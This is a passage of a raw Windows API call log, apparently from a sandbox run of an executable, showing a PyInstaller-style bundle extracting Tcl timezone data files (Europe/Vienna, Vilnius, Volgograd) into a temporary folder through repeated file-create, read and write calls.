lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vienna", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vienna", lpFilePart=0x0) returned 0x45 [0042.837] GetLastError () returned 0x2 [0042.837] SetLastError (dwErrCode=0x2) [0042.837] GetLastError () returned 0x2 [0042.837] SetLastError (dwErrCode=0x2) [0042.837] GetLastError () returned 0x2 [0042.837] SetLastError (dwErrCode=0x2) [0042.837] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vienna") returned 70 [0042.837] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vienna" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\vienna"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.837] GetFileType (hFile=0x10c) returned 0x1 [0042.837] htonl (hostlong=0xeb1d0000) returned 0x1deb [0042.837] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.838] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.838] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xdeb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xdeb, lpOverlapped=0x0) returned 1 [0042.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.839] CloseHandle (hObject=0x10c) returned 1 [0042.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.839] htonl (hostlong=0x30000000) returned 0x30 [0042.839] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.839] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.839] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.839] GetFileType (hFile=0x10c) returned 0x1 [0042.839] htonl (hostlong=0xe6b45c00) returned 0x5cb4e6 [0042.839] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6164e6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.839] htonl (hostlong=0x16060000) returned 0x616 [0042.839] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x616) returned 0x550600 [0042.839] htonl (hostlong=0x16060000) returned 0x616 [0042.839] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.839] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.839] htonl (hostlong=0x231c0000) returned 0x1c23 [0042.839] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c23) returned 0x561090 [0042.839] htonl (hostlong=0x16060000) returned 0x616 [0042.839] htonl (hostlong=0x231c0000) returned 0x1c23 [0042.839] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562cc0 [0042.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562cc0 | out: hHeap=0x530000) returned 1 [0042.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.839] CloseHandle (hObject=0x10c) returned 1 [0042.840] GetLastError () returned 0x0 [0042.840] SetLastError (dwErrCode=0x0) [0042.840] GetLastError () returned 0x0 [0042.840] SetLastError (dwErrCode=0x0) [0042.840] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.840] GetFileType (hFile=0x10c) returned 0x1 [0042.840] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.840] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.840] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.848] CloseHandle (hObject=0x10c) returned 1 [0042.848] GetLastError () returned 0x0 [0042.848] SetLastError (dwErrCode=0x0) [0042.848] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.848] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.848] GetFileType (hFile=0x10c) returned 0x1 [0042.848] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.848] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.848] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.848] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.848] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.848] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.848] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.848] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.848] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.848] CloseHandle (hObject=0x10c) returned 1 [0042.848] GetLastError () returned 0x0 [0042.848] SetLastError (dwErrCode=0x0) [0042.849] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.849] GetFileType (hFile=0x10c) returned 0x1 [0042.849] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.849] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.849] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.849] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.849] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.849] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.849] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.849] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.849] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.849] CloseHandle (hObject=0x10c) returned 1 [0042.849] GetLastError () returned 0x0 [0042.849] SetLastError (dwErrCode=0x0) [0042.849] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vilnius") returned 71 [0042.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vilnius" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\vilnius"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.849] GetLastError () returned 0x2 [0042.849] SetLastError (dwErrCode=0x2) [0042.849] GetLastError () returned 0x2 [0042.849] SetLastError (dwErrCode=0x2) [0042.849] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vilnius", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vilnius", lpFilePart=0x0) returned 0x46 [0042.849] GetLastError () returned 0x2 [0042.849] SetLastError (dwErrCode=0x2) [0042.849] GetLastError () returned 0x2 [0042.849] SetLastError (dwErrCode=0x2) [0042.849] GetLastError () returned 0x2 [0042.850] SetLastError (dwErrCode=0x2) [0042.850] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vilnius") returned 71 [0042.850] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.850] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Vilnius" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\vilnius"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.850] GetFileType (hFile=0x10c) returned 0x1 [0042.850] htonl (hostlong=0x231c0000) returned 0x1c23 [0042.850] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.851] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.851] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc23, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc23, lpOverlapped=0x0) returned 1 [0042.851] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.851] CloseHandle (hObject=0x10c) returned 1 [0042.851] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.851] htonl (hostlong=0x30000000) returned 0x30 [0042.851] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.852] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.852] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.852] GetFileType (hFile=0x10c) returned 0x1 [0042.852] htonl (hostlong=0xfcba5c00) returned 0x5cbafc [0042.852] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x616afc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.852] htonl (hostlong=0x24020000) returned 0x224 [0042.852] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x224) returned 0x550600 [0042.852] htonl (hostlong=0x24020000) returned 0x224 [0042.852] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.852] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.852] htonl (hostlong=0x11080000) returned 0x811 [0042.852] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x811) returned 0x55e278 [0042.852] htonl (hostlong=0x24020000) returned 0x224 [0042.852] htonl (hostlong=0x11080000) returned 0x811 [0042.852] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.852] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.852] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.852] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.852] CloseHandle (hObject=0x10c) returned 1 [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.852] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.852] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.853] GetFileType (hFile=0x10c) returned 0x1 [0042.853] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.853] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.853] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.853] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.853] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.853] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.853] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.853] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.853] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.853] CloseHandle (hObject=0x10c) returned 1 [0042.853] GetLastError () returned 0x0 [0042.853] SetLastError (dwErrCode=0x0) [0042.853] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.853] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.853] GetFileType (hFile=0x10c) returned 0x1 [0042.853] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.853] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.853] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.853] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.853] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.853] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.853] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.853] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.854] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.854] CloseHandle (hObject=0x10c) returned 1 [0042.854] GetLastError () returned 0x0 [0042.854] SetLastError (dwErrCode=0x0) [0042.854] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.854] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.854] GetFileType (hFile=0x10c) returned 0x1 [0042.854] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.854] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.854] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.854] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.854] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.854] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.854] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.854] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.854] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.854] CloseHandle (hObject=0x10c) returned 1 [0042.854] GetLastError () returned 0x0 [0042.854] SetLastError (dwErrCode=0x0) [0042.854] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Volgograd") returned 73 [0042.854] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Volgograd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\volgograd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.854] GetLastError () returned 0x2 [0042.854] SetLastError (dwErrCode=0x2) [0042.854] GetLastError () returned 0x2 [0042.854] SetLastError (dwErrCode=0x2) [0042.855] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Volgograd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Volgograd", lpFilePart=0x0) returned 0x48 [0042.855] GetLastError () returned 0x2 [0042.855] SetLastError (dwErrCode=0x2) [0042.855] GetLastError () returned 0x2 [0042.855] SetLastError (dwErrCode=0x2) [0042.855] GetLastError () returned 0x2 [0042.855] SetLastError (dwErrCode=0x2) [0042.855] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Volgograd") returned 73 [0042.855] MultiByteToWideChar (in: 